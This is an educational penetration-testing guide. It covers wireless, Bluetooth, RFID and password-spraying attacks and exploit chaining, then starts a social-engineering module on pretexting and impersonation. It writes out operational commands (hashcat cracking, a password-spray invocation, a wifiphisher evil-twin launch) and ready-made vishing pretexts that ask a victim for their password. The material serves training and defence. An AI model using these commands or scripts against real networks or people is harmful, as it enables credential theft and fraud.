Hostapd-wpe is specifically designed for this: it supports WPA-Enterprise authentication, accepts connections from clients, captures EAP authentication attempts, and logs the credential hashes. After capturing, crack NTLM hashes with Hashcat: hashcat -m 5500 captured_hashes.txt wordlist.txt.

SSL Stripping in Wireless MITM

With an on-path position established through an Evil Twin or KARMA attack, an attacker can apply SSL stripping to downgrade HTTPS connections to HTTP, allowing interception of credentials even from sites using TLS. Bettercap's SSL stripping functionality automates this process. Tools like sslstrip2 specifically handle HSTS preloading bypass techniques.

DNS Credential Harvesting

With a MITM position and DNS control (via rogue DHCP or DNS spoofing), the attacker can redirect the victim's DNS queries for target sites (banking portals, email login pages, corporate VPN portals) to attacker-controlled servers running realistic phishing pages. The victim believes they are logging into their bank — instead, they are submitting credentials to the attacker.

5.2.13 Bluejacking and Bluesnarfing

Bluetooth Fundamentals

Bluetooth is a short-range wireless technology (typically 10-100 meters range depending on device class) operating in the 2.4 GHz ISM band. It uses frequency hopping spread spectrum (FHSS), switching between 79 frequencies 1,600 times per second, making it resistant to narrowband interference and eavesdropping compared to static-frequency protocols.

Bluetooth devices operate in one of three discovery modes: discoverable (visible to other Bluetooth devices scanning for them), limited discoverable (visible for a short time period), and non-discoverable (not broadcasting their presence). Only discoverable devices are visible to scanning, but non-discoverable devices can still be connected to if their address is already known.

Bluejacking

Bluejacking is the practice of sending unsolicited messages to Bluetooth-enabled devices. The name is a portmanteau of "Bluetooth" and "hijacking" but is somewhat misleading — it does not hijack anything. The attacker simply sends a message that appears on the victim's device.

The original bluejacking exploited the Bluetooth OBEX (Object Exchange) protocol's ability to push contact cards (vCards) to other devices without requiring prior pairing. The contact card's "name" field could contain any text, which would appear as a notification on the victim's screen. Attackers used this to send unexpected messages — sometimes harmless pranks, sometimes social engineering messages like "Your phone has a security problem, call 555-1234 for support."

Modern Bluetooth implementations require user confirmation before accepting unsolicited OBEX pushes, which has largely eliminated this attack vector on current devices. However, it remains relevant for identifying older devices and for understanding social engineering through Bluetooth.

Bluesnarfing

Bluesnarfing is significantly more serious than bluejacking — it involves unauthorized access to information stored on a Bluetooth-enabled device. The attack exploits implementation weaknesses in the OBEX protocol to retrieve data (contacts, calendar entries, emails, messages) without the device owner's knowledge or consent.

Early Bluetooth implementations (pre-2003) allowed OBEX GET requests without requiring authentication, meaning an attacker within Bluetooth range could request and receive the phone's entire contact list, calendar, and messages without the user seeing any notification. The device needed to be in discoverable mode, but that was often the default.

How exploitation works: The attacker uses a tool like btftp or bluesnarf to send OBEX GET requests for specific file paths on the target device's Bluetooth file system. Paths like telecom/pb.vcf (phone book in VCard format), telecom/cal.vcs (calendar), and telecom/msg/ (messages folder) are standard paths that early devices exposed without authentication. The attacker receives the files directly without the user seeing any notification.

The vulnerability was significant enough that affected manufacturers released firmware updates. Modern Bluetooth devices require pairing (and user authentication) before any data access, but older devices remain vulnerable. In penetration testing scenarios targeting environments with older hardware (medical devices, industrial equipment), bluesnarfing vulnerabilities may still be present.

Bluebugging

Bluebugging is a more advanced attack that gained access to a phone's AT commands via Bluetooth, allowing the attacker to place calls, send SMS messages, read messages, and access phone functions — all silently, without the device owner's knowledge.

Defense

Keep Bluetooth disabled when not in use. When pairing, do so in private locations. Keep device firmware updated. Enable "non-discoverable" mode by default. Modern Bluetooth (2.1+) with Secure Simple Pairing is resistant to historical Bluesnarfing attacks.

5.2.14 Bluetooth Low Energy (BLE) Attacks

BLE vs. Classic Bluetooth

Bluetooth Low Energy was introduced with Bluetooth 4.0 (2010) and is a fundamentally different protocol from Classic Bluetooth. BLE was designed for IoT devices that require minimal power consumption — fitness trackers, smartwatches, medical devices (heart rate monitors, glucose meters, insulin pumps), smart home sensors, beacons, and a vast array of consumer electronics.

BLE devices typically operate in two modes: advertising (broadcasting their presence and possibly data on advertising channels) or connected (exchanging data with a paired device on data channels). The advertising mode is critical for security: BLE devices in advertising mode are broadcasting data continuously, and this broadcast can be received by anyone with a BLE scanner.

BLE Security Models and Their Weaknesses

No Security / No Encryption: The device transmits and receives data with no encryption and no authentication. An attacker within range can read all communications. Remarkably, many IoT devices operate in this mode — fitness bands, simple sensors, location beacons.

Unauthenticated Pairing (Just Works): The device accepts pairing without any verification of the connecting party's identity. There is no PIN or confirmation. An attacker can pair with the device, and if the application relies on pairing as access control, they gain full access.

Authenticated Pairing: Requires out-of-band verification (entering a PIN displayed on the device, comparing numeric codes). This provides protection against on-path attacks during pairing.

BLE Sniffing

BLE advertising is public by design — that is its purpose, to advertise the device's presence. BLE sniffers can passively capture all advertising packets from all BLE devices in range. Tools like Ubertooth One (specialized hardware for Bluetooth sniffing) and standard Bluetooth adapters with Wireshark's Bluetooth support can capture BLE advertising data.

The data in BLE advertising packets can be sensitive: fitness devices broadcasting health metrics, retail beacons broadcasting location data, Bluetooth proximity devices revealing user location patterns.

BLE MITM Attacks

For BLE connections that use encryption, an on-path attack during the pairing process can capture the keys needed to decrypt subsequent communications. In Just Works pairing mode, there is no protection against a MITM attack — the attacker can intercept the pairing process and insert themselves between the device and its controller.

GATTacker is a tool for BLE MITM attacks that creates a relay between a BLE peripheral and a central device, allowing inspection and modification of GATT (Generic Attribute Profile) communications. A practical attack using GATTacker against a smart lock, fitness tracker, or medical device can demonstrate the complete insecurity of many BLE IoT implementations.

BLE Replay Attacks

Many BLE devices implement simple lock/unlock mechanisms using BLE commands. If these commands are sent in plaintext or with weak cryptography, an attacker who captures the command sequence can replay it later to achieve the same effect — unlocking a door, triggering a device, or changing a setting. Security researchers have demonstrated replay attacks against BLE-enabled door locks, car keyless entry systems, and medical device controllers.

5.2.15 Radio-Frequency Identification (RFID) Attacks

What Is RFID?

RFID (Radio-Frequency Identification) uses electromagnetic fields to automatically identify and track tags attached to objects or embedded in access cards. RFID systems have two components: a reader (which generates an electromagnetic field) and a tag (which is powered by and responds to this field).

Tags can be passive (no battery — powered entirely by the reader's electromagnetic field, range of a few centimeters to meters) or active (battery-powered, can initiate communication, longer range). RFID operates at various frequencies: LF (125 kHz), HF (13.56 MHz, including NFC), and UHF (860-960 MHz).

RFID is pervasive in physical security: employee access badges, building entry systems, hotel key cards, public transit cards, library book tracking, supply chain management, and contactless payment cards.

RFID Skimming — How It Works

RFID skimming reads tag data from a distance without the tag owner's knowledge or consent. For LF and HF tags (including many access control cards), a concealed reader can capture the tag's data when the victim is within range. This requires only commercially available RFID reader hardware, often available for under $50.

The captured data (typically a unique identifier number) can be cloned to a blank, writable tag — a "blank" access card — allowing the attacker to present as the victim to RFID-based access control systems. This attack is particularly effective against older access control systems using simple UID-based authentication without cryptographic challenge-response.

For LF tags, range is typically 10-20 cm. For HF tags (13.56 MHz), range can be up to a meter with high-power readers. This range is sufficient to skim a badge from someone standing next to you in an elevator or queue — a technique called "shoulder surfing without looking."

RFID Cloning

After capturing an RFID tag's data, cloning copies that data to a new, writable tag. For basic access control systems that only verify the tag's UID, this completely bypasses authentication — the cloned tag is indistinguishable from the original to the reader.

The Proxmark3 is the premier tool for RFID/NFC security research: it can read, analyze, clone, emulate, and brute-force a wide variety of RFID tags and protocols. The Flipper Zero, a popular multi-function security research tool, includes RFID reading and emulation capabilities for common frequencies.

NFC Attacks

NFC (Near Field Communication) is a subset of HF RFID operating at 13.56 MHz with very short range (typically under 4 cm). It is used in contactless payment cards, modern hotel key cards, and smartphone NFC for payments (Apple Pay, Google Pay).

NFC relay attacks use two devices to extend the range of an NFC interaction: one device reads the legitimate NFC tag (or payment card) and relays the data in real-time over a network connection to a second device that presents it to the target reader. This enables using a payment card at a POS terminal while the actual card is across the city — effectively "virtual pickpocketing" that works in real time.

Defense Against RFID Attacks

RFID-blocking wallets and passport holders prevent skimming by attenuating the electromagnetic field. Modern access control systems use cryptographic authentication (MIFARE DESFire, iCLASS SE) that requires proving knowledge of a secret key, not just presenting a UID — cloned UIDs will not work against these systems. Monitoring for multiple simultaneous reads of the same card ID can detect clone usage.

5.2.16 Password Spraying

What Is Password Spraying?

Password spraying is a credential attack strategy that inverts the traditional brute-force approach. Traditional brute-force attacks try many passwords against a single account — quickly triggering lockout mechanisms that disable the account after N failed attempts. Password spraying tries a single common password (or very small set of passwords) against many different accounts simultaneously.

The logic is statistical: if an organization has 1,000 employees and the most common password is "Summer2024!", statistically some percentage of employees will be using that password. By trying "Summer2024!" against all 1,000 accounts — one attempt per account, spread over time — the attacker stays well under lockout thresholds for any individual account while still compromising accounts whose users chose predictable passwords.

Password spraying is particularly effective because the attacker avoids lockouts while still achieving a meaningful success rate. Even a 1% success rate against a 1,000-account organization means 10 compromised credentials — potentially including privileged accounts.

Common Password Patterns to Spray

Effective password spraying targets passwords that are predictable and common enough that some percentage of users will use them, while meeting complexity requirements. Examples include seasonal patterns with years ("Summer2024!", "Winter2025!"), company name variations ("Companyname1!", "Company2024!"), and default patterns organizations often set for new accounts ("Welcome1!", "Password1!", "Changeme1!"). These patterns are common because users want memorable passwords that meet complexity requirements with minimal cognitive effort.

Password Spraying in Wireless Context

In wireless environments, password spraying is used against captive portal authentication systems, WPA2-Enterprise networks (spraying credentials through the 802.1X authentication mechanism), web-based management interfaces for access points and wireless controllers, and cloud identity providers (Microsoft 365/Azure AD, Google Workspace) after obtaining initial wireless access.

Tools and Operational Considerations

Spray is a dedicated password spraying tool: spray.py -smb [DC_IP] -u userlist.txt -p "Summer2024!" -a. For Azure AD/Microsoft 365, MSOLSpray performs password spraying against Microsoft's authentication endpoints while implementing delays to avoid triggering Azure AD Smart Lockout.

The critical operational consideration: always respect lockout thresholds. Before spraying, determine the organization's lockout policy from LDAP enumeration. Spray no more than (lockout_threshold - 1) attempts per account per observation window. A failed spray that locks out accounts is immediately detectable, disruptive to business operations, and reveals the attack to defenders.

5.2.17 Exploit Chaining

The Concept of Exploit Chaining

Exploit chaining (also called vulnerability chaining or attack chaining) refers to combining multiple individually lower-severity vulnerabilities to achieve a higher-severity impact than any single vulnerability would allow. Real-world breaches almost never involve a single, spectacular, critical vulnerability — they involve a carefully constructed chain of smaller findings, each enabling the next.

Understanding exploit chaining is what separates a junior penetration tester (who reports isolated findings) from a senior practitioner (who demonstrates the complete attack narrative that transforms a low-severity information disclosure into a root compromise of the domain controller).

A Wireless Exploit Chain — Realistic Scenario

Consider a realistic attack scenario demonstrating how wireless vulnerabilities chain together:

Link 1 — War Driving: The attacker drives past the target organization and identifies wireless networks using Kismet. They discover the organization broadcasts both a corporate SSID (WPA2-Enterprise) and a guest network (WPA2-PSK). They also discover a third network matching a pattern associated with rogue APs.

Link 2 — WPA2-PSK Capture and Crack: The attacker captures the four-way handshake for the guest network and cracks the PSK offline using Hashcat. Guest network access is gained — but this network is isolated from the corporate environment.

Link 3 — LLMNR Poisoning on Guest Network: From the guest network, the attacker runs Responder. Some Windows machines on the guest network (conference room laptops brought in by guests) make LLMNR queries. NTLMv2 hashes are captured.

Link 4 — Hash Cracking: One of the captured hashes cracks — revealing the credentials of a contractor who uses a simple password across corporate and personal accounts.

Link 5 — WPA-Enterprise Authentication: The cracked password is tried against the corporate WPA2-Enterprise network. The contractor uses the same password for their corporate wireless access. Corporate network access is obtained.

Link 6 — Internal Reconnaissance: From inside the corporate network, BloodHound is run to map Active Directory. A path from the contractor account to Domain Admin is identified through an unconstrained delegation machine.

Link 7 — Domain Compromise: The unconstrained delegation vulnerability is exploited to capture Domain Admin Kerberos tickets, achieving complete domain compromise.

Each individual finding — weak guest Wi-Fi PSK, LLMNR poisoning, password reuse, unconstrained delegation — might be rated as Medium severity in isolation. Chained together, they achieve complete organizational compromise starting from the parking lot with zero prior credentials.

The Narrative in Reporting

When presenting exploit chains in penetration test reports, the business impact narrative is more important than any individual finding. The key is showing the complete path: "Starting from the parking lot with no credentials and no prior access, we achieved complete Domain Admin access within 4 hours through the following chain of vulnerabilities." This narrative communicates risk to non-technical stakeholders far more effectively than a list of individual findings.

Defensive Countermeasures for Chained Attacks

Defending against exploit chains requires defense-in-depth — multiple security layers such that a failure in one layer does not lead directly to catastrophic compromise. Network segmentation prevents lateral movement between the guest and corporate networks. Disabling LLMNR prevents the credential capture. Password policies and password managers prevent reuse. MFA prevents credential-only authentication. Disabling unconstrained delegation prevents the privilege escalation. Each control breaks a link in the chain — removing one link makes the entire chain fail.

5.2.18 Practice — Wireless Attacks

Building a Complete Wireless Attack Lab

A complete wireless attack lab for practicing Module 5.2 requires: Kali Linux VM with a supported wireless adapter (Alfa AWUS036ACH or similar) passed through to the VM, a wireless router configured with WPA2-PSK (and optionally WEP for legacy testing), and one or more client VMs or physical devices to simulate victim behavior.

Practice Workflow 1 — Complete WPA2 Attack

Set up a WPA2 network on the router. Connect a client device and save the credentials. On Kali with wlan0 in monitor mode, start airodump-ng to identify the target. Capture the four-way handshake using aireplay-ng deauthentication. Convert the capture to hc22000 format using hcxpcapngtool. Attempt cracking with Hashcat using rockyou.txt and best64 rules. Document the time to crack as a function of password complexity — this viscerally demonstrates why password length matters more than complexity character requirements.

Practice Workflow 2 — Evil Twin with Wifiphisher

Launch Wifiphisher targeting the previously studied network: wifiphisher --essid [TARGET_SSID] -aI wlan0mon -jI wlan1 --handshake-capture [capture_file] -p firmware-upgrade. Observe that Wifiphisher automatically deauthenticates clients, broadcasts the Evil Twin, and presents the captive portal. Observe captured credentials in the Wifiphisher terminal. Analyze the traffic flow to understand what the victim's device was doing during the attack.

Practice Workflow 3 — Bluetooth Reconnaissance

On Kali with a Bluetooth adapter, scan for discoverable Bluetooth devices: hcitool scan. Perform more detailed discovery: hcitool inq. Use Bluelog for passive Bluetooth scanning over time: bluelog -i hci0 -o bluetooth_log.txt -t. Examine what device classes and names are revealed by nearby Bluetooth devices — consider the privacy implications of this information being publicly broadcast.

Practice Workflow 4 — Complete Documentation

After each attack workflow, practice writing findings as they would appear in a penetration test report. For each finding, document: the vulnerability title, CVSS score and justification, technical description of what was found and how it was exploited, evidence (screenshots, captured data — sanitized appropriately), business impact statement (what an attacker could do with this access), and specific remediation steps with implementation guidance.

The exercise of writing reports is as important as the technical execution — a finding that cannot be clearly communicated to a non-technical decision-maker will not be fixed.

Summary

Module 5.2 has covered the complete wireless attack landscape, from the fundamental physics of radio wave propagation that makes wireless inherently different from wired networks, through the evolution of Wi-Fi security protocols and their systematic failures, to modern attack techniques against Bluetooth, BLE, and RFID technologies.

The conceptual thread running through every section is the same: wireless attacks succeed by exploiting the gap between what a technology was designed to do and the adversarial reality in which it operates. WEP was designed to provide security but its cryptographic implementation was fatally flawed. Probe requests were designed for convenience but broadcast private network history to anyone listening. BLE advertising was designed to make devices discoverable but simultaneously makes their communications observable. RFID was designed for frictionless identification but the "frictionless" part means no verification of who is doing the reading.

Exploit chaining ties the entire module together by showing that individual wireless vulnerabilities rarely exist in isolation. The parking lot access, the WPS attack, the KARMA credential capture, the NTLM hash from WPA-Enterprise, the password spray — each is a link. A single strong link removed breaks the chain. Defense-in-depth means ensuring that breaking any single link is not sufficient to compromise the objective.

The key professional takeaway: wireless security assessment requires constantly asking "what is broadcasting, what is it saying, and who is listening?" The air is a shared medium. Anything transmitted in it is transmitted to everyone within range. Security controls must account for this fundamental reality rather than assuming the radio frequency boundary respects the organization's property lines.

— End of Module 5, Section 5.2 —

Module 4: Social Engineering Attacks

Rençber AKMAN — Tue, 04 Aug 2026 07:10:29 +0000

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Module 4 — Sections 4.0 through 4.2
The human element is not the weakest link in security. It IS the security — and it can be broken.

4.0 Introduction — Why Social Engineering Defeats Every Technical Control
4.1 Pretexting for an Approach and Impersonation
- 4.1.1 Overview — The Architecture of Deception
- 4.1.2 How Pretexts Are Built — The Professional Methodology
- 4.1.3 Impersonation Archetypes and Why Each Works
- 4.1.4 The Human Brain Under Attack — Cognitive Science of Social Engineering
- 4.1.5 Cialdini's Six Principles — The Psychological Engine of Every Social Engineering Attack
- 4.1.6 Kevin Mitnick — The Art of Deception in Practice
4.2 Social Engineering Attacks
- 4.2.1 Overview — The Attack Surface Is Every Human Being
- 4.2.2 Email Phishing — The Most Scalable Attack in Existence
- 4.2.3 Vishing — Voice Phishing and the Power of Real-Time Pressure
- 4.2.4 SMS Phishing (Smishing) — The Mobile Attack Surface
- 4.2.5 USB Drop Attacks — Physical Media as a Cyberweapon
- 4.2.6 Watering Hole Attacks — Poisoning the Trusted Source
- 4.2.7 The Pivot Attack — Chaining Social Engineering into Network Access

4.0 Introduction — Why Social Engineering Defeats Every Technical Control

The Fundamental Truth About Security

Organizations spend enormous resources on technology. Firewalls, endpoint detection and response platforms, multi-factor authentication systems, security information and event management (SIEM) tools, web application firewalls, encrypted communications, zero-trust network architecture — the list of technical security investments continues to grow year after year, and collectively these systems are capable of detecting and blocking an extraordinary range of technical attacks.

And yet, according to the Verizon 2024 Data Breach Investigations Report, 68% of breaches involve a non-malicious human element — an employee who was deceived, manipulated, or tricked into providing access that no firewall could have stopped. The FBI's Internet Crime Complaint Center received over 300,000 phishing complaints in 2024 alone, with estimated losses exceeding $3 billion. MGM Resorts lost approximately $100 million in 2023 when attackers made a ten-minute phone call to an IT help desk. Caesars Entertainment paid approximately $15 million in ransom the same year after attackers used an almost identical technique.

The reason is simple and profound: every technical security control ultimately depends on a human being to configure it correctly, to respond to its alerts, to authorize exceptions, to reset credentials, and to make judgment calls about edge cases. An attacker who can control the human makes all the technology irrelevant.

Kevin Mitnick — the most famous hacker of the 20th century, who became the most sought-after security consultant of the 21st — said it clearly: it is easier to deceive someone into giving you their password than to crack it technically. And he was right. His career was proof of it. For years, Mitnick penetrated some of the most technically sophisticated organizations in the world — not by exploiting software vulnerabilities, but by calling people on the phone, building rapport, crafting believable stories, and asking for what he needed.

What This Module Teaches

Module 4 covers social engineering attacks from two perspectives: understanding them as an attacker who executes them (for authorized penetration testing and red team operations) and understanding them as a defender who must design defenses against them.

This module is one of the most immediately applicable in the entire certification curriculum. The skills and knowledge here transfer directly to:

Penetration testing engagements — many clients specifically request social engineering tests (phishing campaigns, vishing calls, physical access attempts) as part of comprehensive security assessments. Understanding how to design and execute these professionally, legally, and ethically is a core competency.

Red team operations — advanced adversary simulation engagements almost always include a social engineering component, because the most sophisticated real-world attackers (nation-state actors, organized crime groups) consistently use social engineering as their primary initial access vector.

Security awareness program design — defenders who deeply understand how social engineering attacks work design better training programs, better policies, and better detection mechanisms than those who only know the abstract concept.

Incident response — when a breach occurs, identifying that it was initiated through social engineering determines the investigation approach. Understanding attack patterns helps responders trace the full chain of events.

The Statistics That Make Social Engineering Unavoidable to Study

The numbers are not improving despite decades of awareness campaigns. Proofpoint's 2024 State of the Phish report found that over 70% of organizations experienced phishing attacks that resulted in harm. AI-powered tools are now enabling attackers to create highly personalized phishing campaigns at scale — where previously a targeted attack required hours of research, automated OSINT tools and large language models can generate highly convincing, context-specific phishing emails in seconds.

The median time between a phishing email landing and a user clicking is 21 seconds, according to Verizon's 2025 DBIR. Twenty-one seconds of careful reasoning is all that stands between a successful attack and a failed one — and skilled social engineers design their attacks specifically to compress that 21 seconds to zero.

Understanding why attacks work at this level is the beginning of being able to either execute them professionally or defend against them meaningfully.

4.1 Pretexting for an Approach and Impersonation

4.1.1 Overview — The Architecture of Deception

A pretext is a fabricated scenario — a constructed reality — that provides the social engineer with a believable reason to be asking for whatever they need. It is the foundation upon which every successful social engineering attack is built.

Think about the difference between these two approaches to obtaining someone's network credentials:

Approach 1 (No pretext): "Hi, can you give me your username and password?"

Approach 2 (Pretext): "Hi, this is Marcus from the IT security team. I'm working on an urgent security incident affecting the finance department — we're seeing unauthorized login attempts and I need to verify which accounts are currently active and confirm they have not been compromised. This is time-sensitive and my supervisor needs a report in the next fifteen minutes. Can you confirm your username so I can check the activity logs? And I'll need you to confirm your current password as well so I can verify the hash matches our backup records."

The second approach asks for exactly the same information. But it provides a framework — a pretext — that transforms the request from obviously suspicious into apparently reasonable. The request now has a context (security incident), an authority (IT security team), a justification (verify unauthorized activity), a time pressure (fifteen minutes), and a plausible mechanism (checking activity logs, verifying hash).

This is the essence of pretexting: constructing a reality in which your request makes sense.

The sophistication of a pretext is not measured by its complexity. Some of the most effective pretexts are remarkably simple. Mitnick regularly succeeded with pretexts as basic as "I'm from the helpdesk and we're updating our records." The measure of a pretext's effectiveness is how well it answers the internal questions a target unconsciously asks when they receive a suspicious request:

"Who is this person?"
"Why do they need this?"
"Do they have legitimate authority to ask?"
"Is it safe for me to comply?"
"What happens if I don't help?"

A well-constructed pretext answers all five questions in ways that push the target toward compliance.

4.1.2 How Pretexts Are Built — The Professional Methodology

Building an effective pretext is not guesswork. It follows a systematic process that professional social engineers and red team operators use consistently.

Phase 1: Target Research (OSINT Foundation)

Before a single word of the pretext is written, extensive research is conducted on the target — both the organization and the specific individuals who will be contacted. This is where everything learned in Module 3 (passive reconnaissance, OSINT gathering) feeds directly into Module 4.

Organizational research establishes:

The organization's structure — which departments exist, what their relationships are, and how they typically interact. Knowing that the IT department is separate from IT Security, which reports to the CISO, which reports to the CTO, enables highly precise impersonation that references the correct chain of command.

The technology stack — from LinkedIn job listings, job descriptions, press releases, and technical blog posts, the attacker learns which specific systems are in use. Referencing "your ServiceNow instance" or "the Okta tenant" in a pretext is far more convincing than generic references to "your IT systems."

Internal terminology and culture — every organization has specific jargon, internal names for systems and processes, and cultural norms around communication. Incorporating these makes a pretext feel deeply familiar rather than generic.

Recent organizational events — mergers, acquisitions, new product launches, leadership changes, office relocations, and regulatory audits all create plausible contexts for unusual requests. "We're in the middle of the acquisition integration and I need to verify your account is in the correct directory" is a context that employees at an organization undergoing M&A activity will find entirely plausible.

Vendor relationships — knowing that an organization uses Cisco for networking, Palo Alto for firewalls, and ServiceNow for IT service management allows impersonation of vendor support staff with technical precision. "Hi, I'm calling from Cisco TAC regarding your open ticket number SR-3-19402827" — even if the ticket number is fabricated, the vendor name, the specific support organization (TAC stands for Technical Assistance Center), and the ticket format all reinforce legitimacy.

Individual research establishes:

The target's name, role, and responsibilities. The more specifically you understand what someone does, the more precisely you can tailor a pretext to their world.

Their reporting structure — knowing their manager's name allows "I'm calling on behalf of [Manager Name]" or "your manager Sarah asked me to follow up with you directly."

Their technical expertise level — a pretext for a security engineer must be more technically precise than a pretext for an executive assistant. Using technical language above a non-technical target's level causes confusion; using it below a technical target's level destroys credibility.

Personal information visible through social media — conferences they attended, projects they are working on, certifications they recently achieved. "I saw your presentation at RSA last month — great work on the zero-trust implementation. That's actually why I wanted to talk to you..." creates immediate rapport and makes the contact feel purposeful rather than random.

Phase 2: Pretext Design

With research complete, the pretext is designed around specific elements:

The persona: Who are you claiming to be? The persona must be plausible within the organizational context you have researched. A new vendor account manager. An auditor from the compliance team. A technician from corporate IT. A help desk analyst from a third-party managed services provider. Each persona has distinct characteristics — communication style, level of technical knowledge, access to specific information, and reason for contacting this particular person.

The scenario: What is happening that makes this contact necessary? The scenario is the story. It explains why this contact is occurring now, what the stakes are, and what action the target needs to take. Strong scenarios have specificity (referencing real systems, real events, real organizational details), urgency (something needs to happen soon), and logical coherence (the request makes sense given the scenario).

The ask: What are you requesting? The ask should be the minimum necessary to achieve the objective — and ideally framed so that the target feels they are helping rather than being exploited. "I need your password" is an ask. "Can you confirm your username so I can pull up your account?" is a softer ask that might be sufficient if the attacker has other means of obtaining the password.

The escape hatch: What happens if the target becomes suspicious or verifies? Every well-designed pretext has a graceful exit. "No problem — I completely understand your caution, that's exactly the kind of security awareness we're trying to encourage. I'll contact you through the official ticketing system." This response accomplishes two things: it avoids detection, and it reinforces that the contact was legitimate (because fraudsters don't encourage security verification).

Phase 3: Persona Establishment

For sophisticated long-running attacks, the persona is established before the actual attack conversation occurs. This might involve:

Email trail creation: Setting up a convincing email domain (targetco-support.com instead of targetco.com) and sending a plausible first contact email that establishes the relationship before a follow-up call.

LinkedIn profile creation: A fake LinkedIn profile for the persona, established weeks or months before the attack, with connections, work history, and a profile photo (sourced from a less-indexed corner of the internet or AI-generated).

Phone number spoofing: Using caller ID spoofing to make calls appear to come from internal corporate numbers or legitimate vendor numbers.

Waiting for the right moment: Pretexts that reference real organizational events (a known audit, a recently announced acquisition, a recent cybersecurity news story that affected the industry) are far more convincing. Experienced social engineers monitor organizational news and time their attacks around relevant events.

Phase 4: Execution and Adaptation

A pretext is not a script — it is a framework. Real-time adaptation is essential because targets respond unpredictably. The social engineer must be able to:

Handle skeptical questions: "Can I get your employee ID?" "What department did you say you were in?" "Let me call the helpdesk to verify." Each of these challenges requires a prepared, calm, confident response that resolves the concern without breaking character.

Read and exploit emotional states: Is the target busy and wanting to end the call quickly? Rushed people are more compliant when given a fast, simple path to resolution. Is the target friendly and talkative? Build more rapport before the ask. Is the target anxious about the scenario? Amplify the urgency slightly.

Know when to stop: An experienced social engineer recognizes when a target is becoming too suspicious and disengages cleanly before the attack is detected and reported.

4.1.3 Impersonation Archetypes and Why Each Works

Different impersonation targets create different psychological dynamics. The most effective impersonation targets are chosen because they create specific emotional responses in the target that override critical thinking.

IT Help Desk / IT Support

Why it works: Help desk staff exist specifically to solve problems for employees. Their entire professional function is to assist — and employees are conditioned to cooperate with help desk requests because non-cooperation means their IT problems don't get solved. This creates a deeply ingrained compliance reflex.

Help desk impersonation also benefits from the expectation that help desk staff will ask for account information, system details, and sometimes credential verification (even though legitimate help desks should not ask for passwords, many employees believe they do and have been trained to provide this information).

The MGM Resorts 2023 breach is the definitive modern example. The threat group Scattered Spider identified an MGM employee through LinkedIn. They gathered enough personal information about that employee to convincingly impersonate them in a call to MGM's IT help desk. The call lasted approximately ten minutes. At the end of it, the help desk had reset the credentials of the impersonated employee — giving the attackers access to internal systems. That access led to an estimated $100 million in losses from ransomware deployment and operational disruption.

Senior Executives (CEO, CFO, CISO, CTO)

Why it works: Authority is one of the most powerful psychological forces in human social behavior. Decades of research in organizational psychology confirm that people comply with requests from perceived authority figures at dramatically higher rates than requests from peers — even when the requests are unusual or the authority cannot be immediately verified.

An email appearing to come from the CEO requesting an urgent wire transfer, or a call claiming to be from the CISO demanding immediate password reset, triggers a cognitive response that bypasses normal verification behavior. The implicit threat of disobeying a senior leader creates compliance even in employees who would normally follow security protocols.

Business Email Compromise (BEC) is the most financially devastating application of this archetype. The FBI estimates that BEC attacks caused over $2.9 billion in losses in 2023. The most common variant is the executive impersonation wire transfer fraud: a finance employee receives an email appearing to come from the CEO or CFO requesting an urgent wire transfer to a "new vendor" or for an "acquisition-related payment." The email uses familiar language, references plausible context, and emphasizes urgency and confidentiality.

Auditors and Compliance Officers

Why it works: The word "audit" creates a very specific emotional response in most employees: anxiety and a desire to prove compliance. Auditors have implied authority — they are not your boss, but they have the authority to create problems for you if you don't cooperate. Employees typically want audits to go well, which means they want to appear helpful and compliant.

An attacker claiming to be from internal compliance, an external audit firm, or a regulatory body (GDPR auditors, PCI compliance assessors, HIPAA inspectors) can request sensitive system information, network diagrams, user lists, and access credentials under the guise of audit verification — and employees will often provide these without question.

Vendors and Third Parties

Why it works: Modern organizations use dozens or hundreds of third-party services and vendors. Employees regularly receive calls and emails from vendor representatives — for support, renewals, product updates, and account management. This constant legitimate vendor contact creates a background expectation that makes vendor impersonation difficult to distinguish from genuine contact.

Impersonating a specific vendor that the target organization uses — Cisco, Microsoft, Salesforce, their specific cloud provider, their specific security tool vendor — is particularly effective because specificity creates credibility. "I'm calling from your Palo Alto Networks account team about your Panorama management license renewal" sounds legitimate in a way that "I'm calling from a tech company" does not.

New Employees

Why it works: New employees are expected to be confused, to ask questions that might seem basic, and to need help with access and systems. This creates a social permission for behaviors that would seem suspicious from an established employee — asking for help accessing systems they "should" have access to, not knowing normal procedures, needing to be walked through processes.

Impersonating a new hire is particularly effective for gaining access to office spaces and systems in person. The social convention of being helpful to newcomers is strong, and few employees will interrogate a new colleague who seems to be having trouble with their badge or their system access.

4.1.4 The Human Brain Under Attack — Cognitive Science of Social Engineering

To understand why social engineering works — and why even intelligent, security-aware people fall victim to it — you need to understand how the human brain actually processes decisions. This is not optional background knowledge. It is the operational foundation of every social engineering technique.

System 1 and System 2 Thinking — Daniel Kahneman's Framework

Nobel Prize-winning psychologist Daniel Kahneman's research, detailed in his landmark book Thinking, Fast and Slow, established that human thinking operates through two systems that are always running simultaneously:

System 1 is fast, automatic, emotional, and unconscious. It processes information quickly using pattern recognition, heuristics (mental shortcuts), and emotional responses. System 1 is responsible for most of the decisions you make throughout the day — it is the system that recognizes a familiar face, catches a ball thrown to you, feels uncomfortable in an unfamiliar situation, and automatically trusts someone who speaks confidently. System 1 is what keeps you from being overwhelmed by the cognitive demands of processing every decision from scratch.

System 2 is slow, deliberate, rational, and effortful. It is responsible for careful reasoning, mathematical calculation, deliberate evaluation of arguments, and weighing evidence. System 2 is what you use when you read a complex contract, evaluate a job offer, or verify whether a suspicious email is legitimate. But System 2 requires significant cognitive resources and effort — and it can be overridden, bypassed, or simply prevented from engaging by the right combination of stimuli.

Social engineering attacks are precisely designed to engage System 1 and prevent System 2 from activating. Every element of a well-designed attack — the urgency, the authority, the emotional pressure, the time constraints, the familiarity of the scenario — is calibrated to keep the target's fast, pattern-matching System 1 in control and prevent the slow, rational System 2 from evaluating the request critically.

When you feel a surge of anxiety about a "security incident" on your account, when you feel the pressure of a fifteen-minute deadline to respond, when you feel the hierarchical weight of a request from someone claiming to be from the executive team — these are System 1 emotional responses being deliberately engineered. The anxiety is a feature of the attack, not a bug.

Cognitive Biases That Social Engineers Exploit

Authority Bias: The human brain gives disproportionate weight to instructions, requests, and statements from perceived authority figures. This is not irrationality — it is an evolved heuristic that generally serves us well. In organized social groups, following the instructions of legitimate authority figures generally leads to good outcomes. The problem is that this bias is triggered by signals of authority — uniforms, titles, confident tone, insider knowledge, organizational context — rather than actual verified authority. An attacker who accurately provides these signals gets the same compliance response as a real authority figure.

